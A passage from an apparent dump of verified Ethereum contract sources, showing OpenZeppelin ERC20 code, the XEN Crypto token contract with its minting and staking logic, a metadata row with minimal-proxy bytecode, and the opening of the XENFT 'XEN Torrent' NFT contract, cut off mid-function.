`uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
ee7655de1f6b777a322fd1805a0ccef9725840dd
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == 